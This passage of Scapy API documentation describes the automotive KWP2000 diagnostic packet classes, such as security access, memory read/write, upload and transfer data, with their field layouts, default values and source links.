localIdentifiers = {224: 'Development Data', 225: 'ECU Serial Number', 226: 'DBCom Data', 227: 'Operating System Version', 228: 'Ecu Reprogramming Identification', 229: 'Vehicle Information', 230: 'Flash Info 1', 231: 'Flash Info 2', 232: 'System Diagnostic general parameter data', 233: 'System Diagnostic global parameter data', 234: 'Ecu Configuration', 235: 'Diagnostic Protocol Information'}

	








	
class scapy.contrib.automotive.kwp.KWP_RDBLIPR(_pkt, /, *, recordLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L458-L467]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L464-L467]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_RDBLIPR                         


KWP_RDBLIPR fields






	recordLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RDPR(_pkt, /, *, maxNumberOfBlockLength=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L851-L859]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L857-L859]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAXNUMBEROFBLOC|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RDPR                           


KWP_RDPR fields






	maxNumberOfBlockLength

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_RECUI(_pkt, /, *, localIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L701-L720]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOCALIDENTIFIER|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RECUI                          


KWP_RECUI fields






	localIdentifier

	XByteEnumField

	0











	
localIdentifiers = {134: 'DCS ECU Identification', 135: 'DCX / MMC ECU Identification', 136: 'VIN (Original)', 137: 'Diagnostic Variant Code', 144: 'VIN (Current)', 150: 'Calibration Identification', 151: 'Calibration Verification Number', 152: 'ECU Data Fingerprint', 154: 'ECU Code Fingerprint', 156: 'ECU Code Software Identification', 157: 'ECU Data Software Identification', 158: 'ECU Boot Software Identification', 159: 'ECU Boot Fingerprint'}

	








	
class scapy.contrib.automotive.kwp.KWP_RECUIPR(_pkt, /, *, localIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L726-L736]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L733-L736]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOCALIDENTIFIER|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_RECUIPR                         


KWP_RECUIPR fields






	localIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RMBA(_pkt, /, *, memoryAddress=0, memorySize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L527-L532]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MEMORYSIZE  |
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RMBA                           


KWP_RMBA fields






	memoryAddress

	X3BytesField

	0



	memorySize

	ByteField

	0















	
class scapy.contrib.automotive.kwp.KWP_RMBAPR(_pkt, /, *, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L538-L546]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L544-L546]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATARECORD  |
+-+-+-+-+-+-+-+-+

                         Fig. KWP_RMBAPR                          


KWP_RMBAPR fields






	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_ROE(_pkt, /, *, responseRequired=1, eventWindowTime=0, eventType=0, eventParameter=0, serviceToRespond=0, serviceParameter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L381-L409]

	Bases: Packet


	
aliastypes

	




	
eventTypes = {128: 'reportActivatedEvents', 129: 'stopResponseOnEvent', 130: 'onNewDTC', 131: 'onTimerInterrupt', 132: 'onChangeOfRecordValue', 160: 'onComparisonOfValues'}

	




	
eventWindowTimes = {0: 'reserved', 1: 'testerPresentRequired', 2: 'infiniteTimeToResponse', 128: 'noEventWindow'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|EVENTWINDOWTIME|   EVENTTYPE   | EVENTPARAMETER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SERVICETORESPON|SERVICEPARAMETE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. KWP_ROE                           


KWP_ROE fields






	responseRequired

	ByteEnumField

	1



	eventWindowTime

	ByteEnumField

	0



	eventType

	MayEnd

	0



	eventParameter

	ByteField

	0



	serviceToRespond

	ByteEnumField

	0



	serviceParameter

	ByteField

	0











	
responseTypes = {1: 'responseRequired', 2: 'noResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_ROEPR(_pkt, /, *, numberOfActivatedEvents=0, eventWindowTime=0, eventType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L415-L427]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L424-L427]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NUMBEROFACTIVAT|EVENTWINDOWTIME|   EVENTTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_ROEPR                          


KWP_ROEPR fields






	numberOfActivatedEvents

	ByteField

	0



	eventWindowTime

	MayEnd

	0



	eventType

	ByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RRRBLI(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L810-L815]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_RRRBLI                          


KWP_RRRBLI fields






	routineLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RRRBLIPR(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L821-L831]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L828-L831]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                        Fig. KWP_RRRBLIPR                         


KWP_RRRBLIPR fields






	routineLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RSODTC(_pkt, /, *, groupOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L675-L679]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPOFDTC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KWP_RSODTC                          


KWP_RSODTC fields






	groupOfDTC

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RSODTCPR(_pkt, /, *, numberOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L685-L694]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L692-L694]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NUMBEROFDTC  |
+-+-+-+-+-+-+-+-+

                        Fig. KWP_RSODTCPR                         


KWP_RSODTCPR fields






	numberOfDTC

	ByteField

	0















	
class scapy.contrib.automotive.kwp.KWP_RTE(_pkt, /, *, transferDataRequestParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L922-L926]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFERDATAREQ|
+-+-+-+-+-+-+-+-+

                           Fig. KWP_RTE                           


KWP_RTE fields






	transferDataRequestParameter

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_RTEPR(_pkt, /, *, transferDataRequestParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L932-L940]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L938-L940]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFERDATAREQ|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RTEPR                          


KWP_RTEPR fields






	transferDataRequestParameter

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_RU(_pkt, /, *, memoryAddress=0, compression=0, encryption=0, uncompressedMemorySize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L866-L873]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMPRES|ENCRYPT|             UNCOMPRESSEDMEMORYSIZE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. KWP_RU                            


KWP_RU fields






	memoryAddress

	X3BytesField

	0



	compression

	BitField  (4 bits)

	0



	encryption

	BitField  (4 bits)

	0



	uncompressedMemorySize

	X3BytesField

	0















	
class scapy.contrib.automotive.kwp.KWP_RUPR(_pkt, /, *, maxNumberOfBlockLength=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L879-L887]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L885-L887]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAXNUMBEROFBLOC|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RUPR                           


KWP_RUPR fields






	maxNumberOfBlockLength

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_SA(_pkt, /, *, accessMode=0, key=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L193-L199]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ACCESSMODE  |              KEY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. KWP_SA                            


KWP_SA fields






	accessMode

	ByteField

	0



	key

	StrField (Cond)

	b''















	
class scapy.contrib.automotive.kwp.KWP_SAPR(_pkt, /, *, accessMode=0, seed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L205-L216]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L213-L216]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ACCESSMODE  |              SEED             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_SAPR                           


KWP_SAPR fields






	accessMode

	ByteField

	0



	seed

	StrField (Cond)

	b''















	
class scapy.contrib.automotive.kwp.KWP_SDS(_pkt, /, *, diagnosticSession=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L134-L144]

	Bases: Packet


	
aliastypes

	




	
diagnosticSessionTypes = {129: 'defaultSession', 133: 'programmingSession', 137: 'standBySession', 144: 'EcuPassiveSession', 146: 'extendedDiagnosticSession'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAGNOSTICSESSI|
+-+-+-+-+-+-+-+-+

                           Fig. KWP_SDS                           


KWP_SDS fields






	diagnosticSession

	ByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_SDSPR(_pkt, /, *, diagnosticSession=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L150-L160]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L157-L160]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAGNOSTICSESSI|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_SDSPR                          


KWP_SDSPR fields






	diagnosticSession

	ByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_SRBLI(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L743-L759]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_SRBLI                          


KWP_SRBLI fields






	routineLocalIdentifier

	XByteEnumField

	0











	
routineLocalIdentifiers = {224: 'FlashEraseRoutine', 225: 'FlashCheckRoutine', 226: 'Tell-TaleRetentionStack', 227: 'RequestDTCsFromShadowErrorMemory', 228: 'RequestEnvironmentDataFromShadowErrorMemory', 229: 'RequestEventInformation', 230: 'RequestEventEnvironmentData', 231: 'RequestSoftwareModuleInformation', 232: 'ClearTell-TaleRetentionStack', 233: 'ClearEventInformation'}

	








	
class scapy.contrib.automotive.kwp.KWP_SRBLIPR(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L765-L775]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L772-L775]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_SRBLIPR                         


KWP_SRBLIPR fields






	routineLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_STRBLI(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L782-L787]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_STRBLI                          


KWP_STRBLI fields






	routineLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_STRBLIPR(_pkt, /, *, routineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L793-L803]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L800-L803]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINELOCALIDE|
+-+-+-+-+-+-+-+-+

                        Fig. KWP_STRBLIPR                         


KWP_STRBLIPR fields






	routineLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_TD(_pkt, /, *, blockSequenceCounter=0, transferDataRequestParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L894-L899]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCKSEQUENCECO|TRANSFERDATAREQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. KWP_TD                            


KWP_TD fields






	blockSequenceCounter

	ByteField

	0



	transferDataRequestParameter

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_TDPR(_pkt, /, *, blockSequenceCounter=0, transferDataRequestParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L905-L915]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L912-L915]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCKSEQUENCECO|TRANSFERDATAREQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_TDPR                           


KWP_TDPR fields






	blockSequenceCounter

	ByteField

	0



	transferDataRequestParameter

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_TP(_pkt, /, *, responseRequired=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L315-L323]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|
+-+-+-+-+-+-+-+-+

                           Fig. KWP_TP                            


KWP_TP fields






	responseRequired

	ByteEnumField

	1











	
responseTypes = {1: 'responseRequired', 2: 'noResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_TPPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L329-L334]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L332-L334]

	








	
class scapy.contrib.automotive.kwp.KWP_TesterPresentSender(sock: ~typing.Any, pkt: ~typing.List[~scapy.packet.Packet] | ~scapy.packet.Packet | ~scapy.base_classes.SetGen[~scapy.packet.Packet] | ~scapy.plist._PacketList[~scapy.packet.Packet] = <KWP  service=TesterPresent |<KWP_TP  responseRequired=noResponse |>>, interval: float = 2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L992-L1011]

	Bases: PeriodicSenderThread


	
run() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L1004-L1011]

	








	
class scapy.contrib.automotive.kwp.KWP_WDBI(_pkt, /, *, identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L587-L591]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_WDBI                           


KWP_WDBI fields






	identifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_WDBIPR(_pkt, /, *, identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L597-L606]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L603-L606]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KWP_WDBIPR                          


KWP_WDBIPR fields






	identifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_WDBLI(_pkt, /, *, recordLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L474-L478]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_WDBLI                          


KWP_WDBLI fields






	recordLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_WDBLIPR(_pkt, /, *, recordLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L484-L493]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L490-L493]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_WDBLIPR                         


KWP_WDBLIPR fields






	recordLocalIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_WMBA(_pkt, /, *, memoryAddress=0, memorySize=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L613-L619]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
